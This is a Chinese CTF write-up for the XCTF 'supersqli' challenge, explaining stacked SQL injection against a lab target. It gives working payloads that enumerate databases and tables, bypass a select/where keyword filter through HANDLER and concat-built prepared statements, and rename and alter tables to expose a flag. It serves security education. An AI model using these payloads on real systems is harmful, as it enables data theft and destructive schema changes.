攻防世界-Web高手进阶区-supersqli(强网杯的随便注)
前言
此题可谓是奇技淫巧甚多,之前做过一次,不过当时没有写WP。今天偶然又看到了这个题目,打开环境发现又有些不会,因此又把这题相关的知识点和各种技巧看了一遍,写下这篇WP。
WP
首先进入环境,发现是SQL注入。我们先简单的进行一些测试,发现是字符型注入,因此加一个单引号然后后面加#来闭合,然后测试1=1,1=2,发现都可以,然后进行order by测试,发现是2。但是在进行union注入的时候出现:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这里考虑进行大小写,内联,用注释,等等,都不行。因此这里考虑使用堆叠注入,发现成功了。
先获得数据库名称:
1';show databases; #
然后获得表:
0';use supersqli;show tables;#
再获得表中的列:
0';use supersqli;show columns from `1919810931114514`#
注意,字符串为表名操作时要加反引号。
这时候我们的思路很明确的,就是获得1919810931114514表中的flag列。
这里一共有三种方法:
方法一:使用handler
在MySQL中,handler也可以执行查询:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
因此这样构造就可以了:
0';handler `1919810931114514` open;handler `1919810931114514` read first;#
方法二:使用预处理语句
首先我们需要知道下列知识:
用户变量和set语句:
用户变量即用户自己定义的变量,我们可以给用户变量分配值,并且可用在任何可以正常使用标量表达式的地方。
引入用户变量之前我们必须使用set语句或select语句来定义它,然后为它赋一个值,否则变量就只有一个空值。
用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。
set语句可用于向系统变量或用户变量赋值,针对用户变量的定义如下:
SET @var_name = expr [, @var_name = expr] ...
也可使用select语句来定义:
SELECT @var_name := expr [, @var_name = expr] ...
用户变量:以"@“开始,形式为”@var_name",以区分用户变量及列名。它可以是任何随机的,复合的标量表达式,只要其中没有列指定。
一个变量名可以由当前字符集的数字字母字符和“_”、“$”和“.”组成。缺省字符集是ISO-8859-1 Latin1;这可以用mysqld 的–default-character-set 选项更改字符集。
对于SET,可以使用=或:=来赋值,对于SELECT只能使用:=来赋值。
我们可以使用一条简单的select语句查询定义的用户变量的值。
Prepare语句:
prepare
语句利用客户端/服务器二进制协议。 它将包含占位符(?
)的查询传递给MySQL服务器,如下例所示:
SELECT *
FROM products
WHERE productCode = ?;
SQL
当MySQL使用不同的productcode
值执行此查询时,不必完全解析查询。 因此,这有助于MySQL更快地执行查询,特别是当MySQL多次执行查询时。 因为prepare
语句使用占位符(?
),这有助于避免SQL注入的问题,从而使您的应用程序更安全一些。
我们来看一下使用MySQL PREPARE语句的例子。
PREPARE stmt1 FROM 'SELECT productCode, productName
FROM products
WHERE productCode = ?';
SET @pc = 'S10_1678';
EXECUTE stmt1 USING @pc;
DEALLOCATE PREPARE stmt1;
SQL
首先,使用PREPARE
语句准备执行语句。我们使用SELECT
语句根据指定的产品代码从products
表查询产品数据。然后再使用问号(?
)作为产品代码的占位符。
为了使用MySQL准备语句,您需要使用其他三个MySQL语句如下:
- PREPARE - 准备执行的声明。
-
EXECUTE - 执行由
PREPARE
语句定义的语句。 -
DEALLOCATE PREPARE - 发布
PREPARE
语句。
接下来,声明了一个产品代码变量@pc
,并将其值设置为S10_1678
。
然后,使用EXECUTE
语句来执行产品代码变量@pc
的准备语句。
最后,我们使用DEALLOCATE PREPARE
来发布PREPARE
语句。
因此这题我们可以这样来进行注入:
0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#
使用concat()连接字符串,来绕过select的过滤。
方法三:使用rename和alter
我们使用rename和alter这两个命令来更改表名和字段名。因为我们可以访问words里的columns,发现id,也就是说我们输入的1默认是查询words这个表的。因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag了。
具体构造如下:
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
后记
这题考察的点是SQL注入,主要考察了堆叠注入,我们根据三种方法分别可以学会使用handler,预编译语句和重命名这三种方法,可以说是收获满满。不过由于用到的比较少,因此一段时间没用就容易忘,还需要多多复习。